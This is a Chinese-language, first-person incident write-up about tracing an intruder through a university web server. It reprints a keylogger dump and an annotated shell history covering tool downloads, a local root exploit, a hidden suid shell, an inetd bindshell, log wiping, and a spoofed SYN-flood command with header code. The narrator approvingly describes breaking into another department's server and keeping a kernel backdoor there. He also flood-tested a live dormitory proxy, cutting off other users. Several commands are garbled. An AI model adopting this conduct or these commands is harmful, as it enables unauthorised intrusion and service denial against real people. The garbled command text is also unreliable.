在虛擬的網(wǎng)絡(luò)環(huán)境中真實(shí)地存在著一群人,他們被稱作黑客,在常人眼里,黑客總是神出鬼沒(méi),來(lái)去無(wú)蹤,不受任何拘束。但事實(shí)上,黑客也是能被發(fā)現(xiàn)和追蹤到的,即使是頂級(jí)的黑客也有被追蹤到的時(shí)候。當(dāng)管理員熟悉黑客的慣用手段,具有更高的技術(shù)和更好的耐心時(shí),黑客往往就無(wú)法遁形了。網(wǎng)絡(luò)入侵檢測(cè)和分析是一門涉及廣泛的復(fù)雜技術(shù)。以下發(fā)生的故事只是在一次偶然的機(jī)會(huì)里發(fā)生的黑客追蹤事件,是最簡(jiǎn)單的入侵分析。
1.發(fā)現(xiàn)黑客
學(xué)期初筆者接管了S大學(xué)宣傳部的網(wǎng)站,這是個(gè)小網(wǎng)站,有四臺(tái)電腦,一臺(tái)Web服務(wù)器,三臺(tái)制作和備份的工作站組成。Web服務(wù)器裝有兩個(gè)CPU,裝載Windows 2000 Server和ⅡS 5.0。平時(shí)的更新維護(hù)由制作小組的成員完成,筆者只負(fù)責(zé)些技術(shù)方面的問(wèn)題。在接管時(shí)筆者關(guān)閉了Web服務(wù)器的IPC$連接和默認(rèn)共享,想給它的IIS打補(bǔ)丁時(shí),剛巧那天校園網(wǎng)和Internet斷開(kāi)了,補(bǔ)丁下載不了,筆者以為這樣的小網(wǎng)站入侵者一般不會(huì)感興趣,一時(shí)也就擱下了。
一個(gè)月后的一天,筆者忽然心血來(lái)潮再想給它打補(bǔ)丁,卻赫然發(fā)覺(jué)它簡(jiǎn)直是完美的化身——什么補(bǔ)丁都打上了。誰(shuí)干的?問(wèn)遍制作小組的成員,都沒(méi)人知道(的確,不是對(duì)此有了解的人不會(huì)一天到晚老想著給“愛(ài)機(jī)”喂幾個(gè)“布丁”吃)。總不會(huì)機(jī)子自己裝的,機(jī)器還沒(méi)有這么高的智商。又查看了一下,發(fā)現(xiàn)Windows 2000的終端服務(wù)也被開(kāi)啟了。事情開(kāi)始明朗,那就是:有入侵者!
2.守株待兔
一時(shí)疏忽引來(lái)了一位黑客,對(duì)筆者來(lái)說(shuō)可不是件壞事。先看看日志吧!打開(kāi)事件管理器,發(fā)現(xiàn)日志少得可憐,進(jìn)入C:WINNTsystem32LogFiles目錄下,“事件”、“應(yīng)用程序”等日志的*.log文件全是十幾天前新建的,也就是說(shuō)十幾天前的日志全慘遭殺戮了,再看其他ⅡS等日志也是同樣遭遇。沒(méi)了日志,雖然能斷定他可能是利用ⅡS漏洞(idq、ida、unicode,這么多漏洞隨便挑一個(gè)都能搞定)進(jìn)入的,但是這位黑客先生來(lái)自哪里和在我們的服務(wù)器里干了些什么就無(wú)從知曉!筆者又檢測(cè)了服務(wù)器打開(kāi)的端口,發(fā)現(xiàn)了一個(gè)綁定在6688加密的shell,這位可愛(ài)的黑客先生先幫忙打了補(bǔ)丁,又沒(méi)有什么破壞活動(dòng),還留了后門,便斷定他一定會(huì)再來(lái)。于是決定維持一切原樣不變,守株待兔!當(dāng)然不變的只是外表,筆者安裝了入侵檢測(cè)系統(tǒng)監(jiān)控6688端口和幾個(gè)敏感端口,只要一旦有人連接,檢測(cè)系統(tǒng)就會(huì)報(bào)警。另外,還修改了一個(gè)擊鍵記錄程序?qū)iT監(jiān)控那個(gè)6688的shell。為了以防萬(wàn)一,還安裝了硬盤保護(hù)卡。盡管花了不少心血,甚至讓警報(bào)用短消息發(fā)到手機(jī),但在以后漫長(zhǎng)的幾個(gè)星期中,除了幾次誤報(bào),這位黑客再也沒(méi)有出現(xiàn),似乎從此銷聲匿跡了。也許只是一時(shí)性起或目的已經(jīng)達(dá)到,他已經(jīng)放棄了這個(gè)攻破的堡壘。
3.將追蹤進(jìn)行到底
由于前車之鑒,在決定放棄追蹤后,筆者對(duì)服務(wù)器進(jìn)行了全面、系統(tǒng)的安全配置。該關(guān)的關(guān),該改的改,該打補(bǔ)丁的打補(bǔ)丁。但在檢查system.ini時(shí)在發(fā)現(xiàn)了這樣一句: shell=c:/winnt/system32/iishelp/system32.exe。不會(huì)是那位黑客先生下的吧?可是奇怪呀:在發(fā)現(xiàn)黑客時(shí)曾經(jīng)花了半天時(shí)間對(duì)Windows 2000所有可疑的進(jìn)程都一一核查過(guò),沒(méi)有這個(gè)進(jìn)程呀!原來(lái),在這個(gè)隱藏得很深的文件夾里面一堆垃圾文件里有一個(gè)沒(méi)加密的p.txt文本文件,上面雜七雜八記錄了這臺(tái)服務(wù)器上登錄過(guò)的用戶和密碼和一些有趣的東西,以下是其中的一部分內(nèi)容,為了便于閱讀對(duì)其做了些整理:
jwf12xx
>horse20xx<
[用戶登錄](méi)
--------
administrator
>8812abcxxx<
[用戶登錄](méi)
--------
bj.bs.ourgame.com(北京聯(lián)眾)
blisslxxx
1080
>forayxxx<
[登錄信息]
……
210.33.xx.x<===好像是學(xué)校Web和Mail的服務(wù)器的IP。
jwcxxx
>34xxx<
[TELNET]
……
……
210.33.xx.x<===這也是。
jwcxxx
>34xxx<
[FTP]
……
看到這里,大家都知道了吧,原來(lái)這個(gè)充滿迷惑性的進(jìn)程是一個(gè)擊鍵記錄程序。不過(guò)在筆者發(fā)現(xiàn)和檢測(cè)進(jìn)程之前它已經(jīng)被刪掉了,看來(lái)這黑客可能已經(jīng)放棄了這臺(tái)機(jī)器了。但是這位黑客對(duì)這個(gè)程序不是太熟悉(可能從哪里COPY來(lái)的),不但在拆卸的時(shí)候沒(méi)把痕跡和生成的其中的一個(gè)密碼文件清理掉,還讓它把那些“不該記的”也記下來(lái)了。在上面的記錄里除了一些用戶名和密碼外,還有多個(gè)指向一個(gè)IP)的telnet和ftp的用戶的記錄,但這個(gè)用戶不是我們所有的,而且這個(gè)IP地址是S大學(xué)的網(wǎng)頁(yè)和郵件主服務(wù)器,事情一下子變得明朗了:由于我們校園網(wǎng)路由器對(duì)23、2l這些敏感的端口的TCP連接作了過(guò)濾的,只允許出站連接而拒絕入站連接,這位黑客兄弟想必是拿我們的服務(wù)器作為攻擊學(xué)校主頁(yè)和郵件服務(wù)器的跳板了。看來(lái)得把追蹤進(jìn)行到底了!
學(xué)校的主頁(yè)和郵件服務(wù)器上是一個(gè)版本較老的UNIX。Web服務(wù)軟件是Apache;郵件服務(wù)軟件為sendmail(是最新版本,沒(méi)有致命漏洞)。為了方便下面的講述,我們把它稱作主機(jī)S。幾年前,它的安全狀況實(shí)在很糟,亂七八糟的服務(wù)開(kāi)了一大堆,R類服務(wù)也沒(méi)關(guān),網(wǎng)管根本沒(méi)有對(duì)其進(jìn)行安全配置。但由于部門不同,它不屬于我們管理。一次筆者隨便找了個(gè)rpc漏洞便進(jìn)了S主機(jī),進(jìn)去四處逛了一圈,實(shí)在無(wú)事可干,便給網(wǎng)管寫了一封長(zhǎng)長(zhǎng)的信,里面一一列舉了該服務(wù)器的安全漏洞。幾天后主機(jī)S的安全面貌已經(jīng)煥然一新了,想非法進(jìn)入都很困難了。當(dāng)然筆者還是留了一手方便進(jìn)出:內(nèi)核后門,網(wǎng)管果然沒(méi)有發(fā)現(xiàn),也是從那時(shí)起S大學(xué)的路由器過(guò)濾掉了所有對(duì)2l、23的入站的TCP連接,也就是說(shuō)在校園網(wǎng)外對(duì)其掃描,這幾個(gè)端口看起來(lái)是關(guān)閉的,也無(wú)法連接的;但校園網(wǎng)內(nèi)的機(jī)子還是可以連接的。這可能也就是那位黑兄對(duì)我們這個(gè)宣傳科的服務(wù)器進(jìn)行攻擊的原因。現(xiàn)在他已經(jīng)放棄了我們這個(gè)跳板說(shuō)明他可能已經(jīng)得手了。
4.黑客使用技術(shù)和心態(tài)分析
幾天前筆者還在考慮是否該把S主機(jī)上的后門卸了,想不到最后還有用武之地。利用內(nèi)核后門進(jìn)入主機(jī)S,一切還是那么熟悉。記得在宣傳科的服務(wù)器的p.txt里有一個(gè)jwe的用戶,先看看passwd再說(shuō):
#cat/etc/passwd
……
……
jwc:x:688:501 jwc:/home/jwc:/bin/sh
……
……
(以上共省略100多個(gè)用戶)
不知道jwe是新加的用戶還是被破解了密碼的用戶,S主機(jī)里這么多用戶,多個(gè)普通用戶實(shí)在很難發(fā)現(xiàn)。再查看日志,所有關(guān)于jwe的日志全沒(méi)了。但這個(gè)jwc只是一般用戶呀,肯定還有后招。又ps-auxlgrep jwe了一下發(fā)現(xiàn)了幾個(gè)可疑進(jìn)程。在找來(lái)入侵痕跡分析工具準(zhǔn)備花時(shí)間進(jìn)行全面檢查時(shí),意外地在用戶jwe的主文件夾home/jws/下面發(fā)現(xiàn)了一個(gè).history文件。這個(gè).history記錄了所有在shell命令中鍵入的命令,這無(wú)疑是筆者了解這位黑客所使用的技術(shù)和當(dāng)時(shí)的心態(tài)的絕好機(jī)會(huì)。惟一的遺憾是日志全被刪了,這位入侵者是如何進(jìn)入的沒(méi)有痕跡可查了。最大的可能是用戶的暴力猜解,S主機(jī)用戶太多了,許多用戶缺乏安全意識(shí),設(shè)置的口令又簡(jiǎn)單得令人難以置信,很容易破解,當(dāng)然也不排除利用其他筆者未知的或新發(fā)現(xiàn)的漏洞進(jìn)入的。
下面讓我們來(lái)看看由這個(gè).history文件講述的故事吧。為了便于閱讀,對(duì)其進(jìn)行了一些省略和修改(前為.history的內(nèi)容,后面是分析)。
.history
分析
w
誰(shuí)在系統(tǒng)上。
ftpfirsthost
此次ftp下載了許多工具:lp.c,shell.c,port.c,clean.tar
gcc-olp.clp
編譯lp.c從后來(lái)的整個(gè)攻擊過(guò)程看,這應(yīng)該是個(gè)本地溢出取得root shell的程序。
chod
擊鍵錯(cuò)誤。這點(diǎn)可比我好得多,我平均每10條命令便會(huì)打錯(cuò)一條,他整個(gè)過(guò)程中只有三四次擊鍵錯(cuò)誤。
chomdu+xlp
改變lp的模式,使其成為可執(zhí)行程序。
lp
應(yīng)該是本地溢出,取得管理員權(quán)限。
黑客在檢查系統(tǒng)中是否只有他一人,并迅速下載了工具,實(shí)行了本地溢出,取得了系統(tǒng)管理權(quán)。
我們接著看。
mkdir/usr/lib/...
建立新目錄...。在unix下本級(jí)目錄為.。上一級(jí)目錄為..。所以...具有一定的欺騙性(不過(guò)這招好像早被用濫了)。
cp*.*/usr/lib/...
他在轉(zhuǎn)移工具到新建的目錄下,是想藏的好點(diǎn),呵呵。
rm*.*
刪除
ls-al
看看工具在了沒(méi)有。
cp/bin/ksh/usr/lib/.../h
拷貝了一個(gè)suid root shell.并取名為h。在UNIX中,不加參數(shù)的ls是不會(huì)顯示.開(kāi)頭的文件,要加參數(shù)a才會(huì)顯示。h具有一定的隱藏性。
chomd+s,ust/lib/.../.h
設(shè)置suid位。
sr/sbin/addusr wdyr
有了一個(gè)用戶名還不夠,又加了一個(gè)wdyr用戶。
cat/etc/passwd
不放心,進(jìn)去看看加了沒(méi)有。
……
……
這位黑客在/usr/lib/下創(chuàng)建了一個(gè)...新目錄,把一些工具軟件藏到了里面,又進(jìn)行了一系列的活動(dòng)進(jìn)一步鞏固對(duì)系統(tǒng)的控制。
然后,黑客在對(duì)整個(gè)系統(tǒng)及其網(wǎng)絡(luò)結(jié)構(gòu)作全面了解。
ps+aux lmore
列出所有的進(jìn)程。
netstat-an lgrep listen
查看哪些端口運(yùn)行著哪些服務(wù)。
cat/etc/inetd.conf
刪除
ls-al
同上。
cat/etc/hosts lmoete
他在查看網(wǎng)絡(luò)狀況。
Find/name index.htm-print
看來(lái)這家伙有改網(wǎng)頁(yè)的欲望。
……
……
之后,黑客先生編輯了inetd.conf,把他的bindshell捆定在了60000高位端口上,還編譯了日志清理工具,對(duì)日志進(jìn)行了清理。
gcc-o port.c port
編譯port.c。后來(lái)的測(cè)試中我發(fā)現(xiàn)這是個(gè)端口掃描器。
chmod u+x port
改變port的模式,使其成為可執(zhí)行程序。
Port 127.0.0.11 200&
他在測(cè)試Port的功能。測(cè)試的目標(biāo)是校內(nèi)X系機(jī)房的IP,127.0.0.1是我處理過(guò)了的,掃描的端口是1到200。&是后臺(tái)運(yùn)行。
gcc-o sheU.c sh
編譯shell.c這個(gè)shen是個(gè)bind suid sheu后門。
clunod u+x sh
vi/etc/inetd
這是個(gè)輸入錯(cuò)誤。Inetd是程序,不能編輯的。
vi/etc/inetd.conf
他編輯了inetd.conf文件,把他那個(gè)bind shell放進(jìn)去,以后每次啟動(dòng)會(huì)都會(huì)啟動(dòng)他。
……
……
(續(xù))
gcc-o port.c port
編譯port.c。后來(lái)的測(cè)試中我發(fā)現(xiàn)這是個(gè)端口掃描器。
killall-HuP inetd
讓inetd進(jìn)程重讀它的配置文件inetd.conf。
Port 127.0.0.11 200&
他在測(cè)試Port的功能。測(cè)試的目標(biāo)是校內(nèi)X系機(jī)房的IP,127.0.0.1是我處理過(guò)了的,掃描的端口是1到200。&是后臺(tái)運(yùn)行。
gunzlp*
把…文件下的所有文件解壓。
tar-xvf clean.rar
把clean.tar包解開(kāi)。
ls
/make
編譯。
cleanjwc
清理日志他從來(lái)都是很積極的。
cd..
回上一級(jí)目錄。
最后,這個(gè)家伙在占領(lǐng)了系統(tǒng)后對(duì)他人的系統(tǒng)進(jìn)行了狠毒的攻擊,然后再次清理日志退出了系統(tǒng)。
ftp secondhost
此次fip傳輸?shù)哪康南螺d攻擊工具。下載了一個(gè)名為imap.c的工具,這個(gè)東西可能是icmp攻擊的工具。不知道要對(duì)誰(shuí)進(jìn)行殺戮了!
……
省略imap的編譯和chomd過(guò)程。
cat 127 0.0.0.1.log
查看這個(gè)掃描結(jié)果文件。127.0.0.1.log文件是那個(gè)port掃描的結(jié)果。
imap
-t3-1127.0.0.1&
應(yīng)該是后臺(tái)運(yùn)行對(duì)127.0.0.1也就是S大學(xué)X系機(jī)房的服務(wù)器發(fā)動(dòng)了ICMP攻擊。參數(shù)t可能是設(shè)置時(shí)間。
……
ftp thirdhost
此次ftp傳輸?shù)哪康挠质窍螺d了兩個(gè)攻擊程序,tear和tes的兩個(gè)二進(jìn)制文件。看來(lái)imap的攻擊沒(méi)有奏效或效果不夠理想。
……
省略該黑客用tear發(fā)動(dòng)的攻擊,從名字看我猜町能是UDP的淚滴攻擊。但是效果還是不理想,以至后來(lái)他生氣地刪了iamg和tear兩個(gè)文件。
ps-x lgrep
列出所有g(shù)rep的應(yīng)用程序進(jìn)程。
kill-9029
殺掉imap進(jìn)程。
kill-9030
殺掉tear進(jìn)程。
reienlldajs
亂敲一氣。攻擊沒(méi)有成功,他很生氣。
tst-t3 1270.0.180
開(kāi)始用tes攻擊,攻擊端口80。好象效果不錯(cuò)。因?yàn)樗酉聛?lái)狠毒地用tst對(duì)127.0.0.1進(jìn)行了長(zhǎng)時(shí)間的攻擊。
Nohup tst –t10000127.0.0.2 127.0.0.180&
nohup使他退出系統(tǒng)后程序仍繼續(xù)運(yùn)行。-t 10000攻擊10000分鐘,127.0.0.2是偽造的源地址,127.0.0.1是攻擊目標(biāo)地址,80是攻擊端口,&后臺(tái)運(yùn)行。
……
rm*.c*.tar
他在做清理工作了,準(zhǔn)備走了。
Clean jwc
再次清理日志。
……
由.history文件講述的故事到此就結(jié)束了。
縱觀整個(gè)入侵過(guò)程沒(méi)有什么疑惑難解之處,當(dāng)然實(shí)際的-history的文件比較雜亂得多,以上是整理的結(jié)果。至于關(guān)于那個(gè)tst程序的具體情況在下一部分里有介紹。
5.關(guān)于攻擊工具tsl
tst是SYN攻擊工具。把tst工具復(fù)制了回來(lái),對(duì)寢室樓的代理服務(wù)器的http的代理端口發(fā)動(dòng)了攻擊進(jìn)行測(cè)試,幾秒鐘后,就聽(tīng)見(jiàn)室友在喊:“網(wǎng)頁(yè)怎么打不開(kāi)了?”。結(jié)束了測(cè)試,分析TCPDUMP追蹤到的記錄(源主機(jī)、目標(biāo)主機(jī)經(jīng)過(guò)了處理)。
時(shí)間戳
源主機(jī).源端口
目標(biāo)主機(jī).目標(biāo)端口
TCP標(biāo)志
序列號(hào)
應(yīng)答號(hào)
TCP窗口
大小
09:17:22.5660
hacker.601
server.80
S
1382726961
1382726961(0)
Win4096
09:17:22.7447
hacker.602
server.80
S
1382726962
1382726962(0)
Win4096
09:17:22.8311
hacker.603
server.80
S
1382726963
1382726963(0)
Win4096
09:17:22.8868
hacker.604
server.80
S
1382726964
1382726964(0)
Win4096
09:17:22.9434
hacker.605
server.80
S
1382726965
1382726965(0)
Win4096
09:17:23.0025
hacker.606
server.80
S
1382726966
1382726.966(0)
Win4096
09:17:23.1035
hacker.607
server.80
S
1382726967
1382726967(0)
Win4096
09:17:23.1621
hacker.608
server.80
S
1382726968
1382726968(0)
Win4096
09:17:23.2284
hacker.609
server.80
S
1382726969
1382726969(0)
Win4096
09:17:23.2825
hacker.610
server.80
S
1382726970
1382726970(0)
Win4096
09:17:23.3457
hacker.611
server.80
S
1382726971
1382726971(0)
Win4096
09:17:23.4083
hacker.612
server.80
S
1382726972
1382726972(0)
Win4096
……
……
……
……
……
……
……
從上面的記錄我們看到主機(jī)hacker從不同的端口(這里是遞增的,也可以隨機(jī))在短短幾秒內(nèi)就向主機(jī)server的80端口發(fā)出了上百個(gè)連接請(qǐng)求。筆者又對(duì)其攻擊代碼ip頭部分進(jìn)行了分析:
/*ip頭填充信息*/
packer.ip.version=4;/*(4位)版本號(hào)*/
packer.ip.ihl=5;/*(4位)頭長(zhǎng)度*/
packer.ip.tos=0;/*(8位)服務(wù)類型*/
packer.ip.tol_len-htons(40);/*(16位)數(shù)據(jù)包總長(zhǎng)度*/
packer.ip.id=getpid();/*(16位)認(rèn)證標(biāo)識(shí)*/
packer.ip.frag_off=0;/*(13位)分段偏移量*/
packer.ip.ttl=225;/*(8位)生存期*/
packer.ip.protocol=IPPROTO_TCP;/*(8位)協(xié)議類型*/
packer.ip.check=0;/*(16位校驗(yàn)和)*/
packer.ip.saddr=sadd;/*(32位)源地址*/
packer.ip.taddr=tadd;/*(32位)目標(biāo)地址*/
這無(wú)疑是SYN潮水攻擊。SYN攻擊是短時(shí)間內(nèi)發(fā)送潮水般的連接請(qǐng)求,但不完成3次握手建立正常的連接,而讓等待連接的數(shù)量超過(guò)系統(tǒng)的限制數(shù)量,從而使被攻擊系統(tǒng)無(wú)法建立新的服務(wù)。為防止產(chǎn)生RESET信號(hào)而使被攻擊系統(tǒng)釋放連接請(qǐng)求所占的內(nèi)存,這個(gè)程序還使用了一個(gè)錯(cuò)誤檢查程序來(lái)確定他所選的假地址是可路由的并且不處于運(yùn)行狀態(tài),這與文章的主題無(wú)關(guān),就不多說(shuō)了。